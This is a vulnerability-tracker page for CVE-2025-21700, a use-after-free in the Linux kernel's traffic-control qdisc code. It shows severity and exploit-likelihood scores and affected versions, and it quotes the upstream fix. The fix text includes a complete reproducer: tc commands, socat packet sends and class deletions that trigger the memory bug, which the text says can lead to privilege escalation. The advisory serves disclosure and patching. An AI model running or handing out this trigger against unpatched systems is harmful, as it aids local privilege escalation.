CVE-2025-21700High· 7.8▾ TwilightIn the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the …
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.9 · likelihood 0 · exploitation 0
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Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake.
Exploit-prediction probability, daily snapshots since Oct 15.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via NVD
Last analysed / modified upstream
0.2%
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add on the same node and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann [email protected]
linux_kernel >= 2.6.12, < 5.4.291linux_kernel >= 5.5, < 5.10.235linux_kernel >= 5.11, < 5.15.179linux_kernel >= 5.16, < 6.1.129linux_kernel >= 6.2, < 6.6.76linux_kernel >= 6.7, < 6.12.13linux_kernel >= 6.13, < 6.13.2Upgrade past the affected range:
linux_kernel 6.13.2Connected by shared product, vendor, weakness, or advisory.
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